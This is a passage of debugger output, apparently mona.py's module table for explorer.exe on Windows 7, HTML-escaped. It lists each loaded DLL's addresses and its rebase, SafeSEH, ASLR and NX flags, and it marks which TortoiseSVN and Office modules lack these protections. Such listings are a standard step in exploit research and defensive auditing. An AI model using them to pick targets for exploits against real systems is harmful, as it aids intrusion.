0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x73510000 | 0x7352A000 | 0x0001A000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - wscinterop.dll : C:\Windows\System32\wscinterop.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x73640000 | 0x73649000 | 0x00009000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - CSCDLL.dll : C:\Windows\System32\CSCDLL.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x75D20000 | 0x75DA3000 | 0x00083000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 2001.12.8530.16385 - CLBCatQ.DLL : C:\Windows\system32\CLBCatQ.DLL&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x73A20000 | 0x73A29000 | 0x00009000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - HID.DLL : C:\Windows\system32\HID.DLL&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x739E0000 | 0x73A19000 | 0x00039000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - MMDevApi.dll : C:\Windows\System32\MMDevApi.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x71E20000 | 0x71E4E000 | 0x0002E000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - QAgent.dll : C:\Windows\System32\QAgent.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x65980000 | 0x65A63000 | 0x000E3000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - FXSRESM.DLL : C:\Windows\system32\FXSRESM.DLL&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x751B0000 | 0x751D7000 | 0x00027000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - CFGMGR32.dll : C:\Windows\system32\CFGMGR32.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x74850000 | 0x74894000 | 0x00044000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - dnsapi.DLL : C:\Windows\system32\dnsapi.DLL&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x6B4B0000 | 0x6B514000 | 0x00064000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - imapi2.dll : C:\Windows\system32\imapi2.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x71EA0000 | 0x71EB6000 | 0x00016000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - SYNCENG.dll : C:\Windows\system32\SYNCENG.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x6C050000 | 0x6C0B0000 | 0x00060000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - wer.dll : C:\Windows\System32\wer.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x74E30000 | 0x74E4A000 | 0x0001A000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - SSPICLI.DLL : C:\Windows\system32\SSPICLI.DLL&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x731B0000 | 0x731D5000 | 0x00025000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - POWRPROF.dll : C:\Windows\system32\POWRPROF.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x6D870000 | 0x6D89B000 | 0x0002B000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; NO&amp;nbsp;&amp;nbsp; | 8.00.7600.16700 - ieproxy.dll : C:\Program Files\Internet Explorer\ieproxy.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x6BF10000 | 0x6BF1F000 | 0x0000F000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - WSCAPI.dll : C:\Windows\System32\WSCAPI.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x75790000 | 0x758C5000 | 0x00135000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 8.00.7600.16385 - urlmon.dll : C:\Windows\system32\urlmon.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; NO&amp;nbsp;&amp;nbsp;&amp;nbsp; | 0x05940000 | 0x0594E000 | 0x0000E000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; NO&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; NO&amp;nbsp;&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; NO&amp;nbsp;&amp;nbsp; | 1.6.11.20210 - TortoiseStub.dll : C:\Program Files\TortoiseSVN\bin\TortoiseStub.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x74F10000 | 0x74F39000 | 0x00029000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - WINSTA.dll : C:\Windows\System32\WINSTA.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x6D0D0000 | 0x6D4DF000 | 0x0040F000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; NO&amp;nbsp;&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; NO&amp;nbsp;&amp;nbsp; | 14.0.4738.1000 - office.odf : C:\PROGRA~1\COMMON~1\MICROS~1\OFFICE14\Cultures\office.odf&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x6DB50000 | 0x6DBB4000 | 0x00064000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - dxp.dll : C:\Windows\system32\dxp.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x75620000 | 0x756F4000 | 0x000D4000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - kernel32.dll : C:\Windows\system32\kernel32.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x74EA0000 | 0x74EAC000 | 0x0000C000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - CRYPTBASE.dll : C:\Windows\system32\CRYPTBASE.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x76E00000 | 0x76F3C000 | 0x0013C000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - ntdll.dll : C:\Windows\SYSTEM32\ntdll.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x75AE0000 | 0x75AF9000 | 0x00019000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - sechost.dll : C:\Windows\SYSTEM32\sechost.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x6D630000 | 0x6D6D3000 | 0x000A3000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 9.00.30729.4974 - MSVCR90.dll : C:\Windows\WinSxS\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4974_none_50940634bcb759cb\MSVCR90.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x6D600000 | 0x6D62B000 | 0x0002B000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 9.00.30729.4974 - ATL90.DLL : C:\Windows\WinSxS\x86_microsoft.vc90.atl_1fc8b3b9a1e18e3b_9.0.30729.4974_none_51cdc180bbe4500f\ATL90.DLL&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x6EAE0000 | 0x6EB0C000 | 0x0002C000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - msutb.dll : C:\Windows\system32\msutb.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x73A50000 | 0x73A59000 | 0x00009000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - hcproviders.dll : C:\Windows\System32\hcproviders.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x73A60000 | 0x73A67000 | 0x00007000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 5.0.7600.16385 - msiltcfg.dll : C:\Windows\system32\msiltcfg.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x75470000 | 0x75564000 | 0x000F4000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 8.00.7600.16385 - WININET.dll : C:\Windows\system32\WININET.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x00B80000 | 0x00E01000 | 0x00281000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; NO&amp;nbsp;&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - explorer.exe : C:\Windows\explorer.exe&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; NO&amp;nbsp;&amp;nbsp;&amp;nbsp; | 0x10000000 | 0x10012000 | 0x00012000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; NO&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; NO&amp;nbsp;&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; NO&amp;nbsp;&amp;nbsp; | 0.14.4 - intl3_tsvn.dll : C:\Program Files\TortoiseSVN\bin\intl3_tsvn.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x62890000 | 0x62A9E000 | 0x0020E000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - SyncCenter.dll : C:\Windows\System32\SyncCenter.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x6C350000 | 0x6C37E000 | 0x0002E000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - shdocvw.dll : C:\Windows\System32\shdocvw.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x758D0000 | 0x758D5000 | 0x00005000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - PSAPI.DLL : C:\Windows\system32\PSAPI.DLL&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x75AC0000 | 0x75ADF000 | 0x0001F000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - IMM32.dll : C:\Windows\system32\IMM32.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x73500000 | 0x7350D000 | 0x0000D000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; NO&amp;nbsp;&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; NO&amp;nbsp;&amp;nbsp; | 14.0.4750.1000 - MSOXMLMF.DLL : C:\Program Files\Common Files\Microsoft Shared\OFFICE14\MSOXMLMF.DLL&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x6F670000 | 0x6F67B000 | 0x0000B000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - cscapi.dll : C:\Windows\system32\cscapi.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x73CF0000 | 0x73D30000 | 0x00040000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - UxTheme.dll : C:\Windows\system32\UxTheme.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x71400000 | 0x7141C000 | 0x0001C000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - IPHLPAPI.DLL : C:\Windows\System32\IPHLPAPI.DLL&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x71D40000 | 0x71DF7000 | 0x000B7000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - BatMeter.dll : C:\Windows\system32\BatMeter.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x76F40000 | 0x76F4A000 | 0x0000A000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - LPK.dll : C:\Windows\system32\LPK.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x6E970000 | 0x6E99B000 | 0x0002B000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - PortableDeviceTypes.dll : C:\Windows\system32\PortableDeviceTypes.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; NO&amp;nbsp;&amp;nbsp;&amp;nbsp; | 0x05960000 | 0x05978000 | 0x00018000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; NO&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; NO&amp;nbsp;&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; NO&amp;nbsp;&amp;nbsp; | 1.1.1.19039 - TortoiseOverlays.dll : C:\Program Files\Common Files\TortoiseOverlays\TortoiseOverlays.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x74F50000 | 0x74F5B000 | 0x0000B000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - profapi.dll : C:\Windows\system32\profapi.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x71020000 | 0x71032000 | 0x00012000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - dhcpcsvc.DLL : C:\Windows\system32\dhcpcsvc.DLL&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x043F0000 | 0x04406000 | 0x00016000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - thumbcache.dll : C:\Windows\system32\thumbcache.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x73E70000 | 0x7400E000 | 0x0019E000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.10 - comctl32.dll : C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7600.16661_none_420fe3fa2b8113bd\comctl32.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x73E50000 | 0x73E60000 | 0x00010000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - Syncreg.dll : C:\Windows\system32\Syncreg.dll&lt;br /&gt;
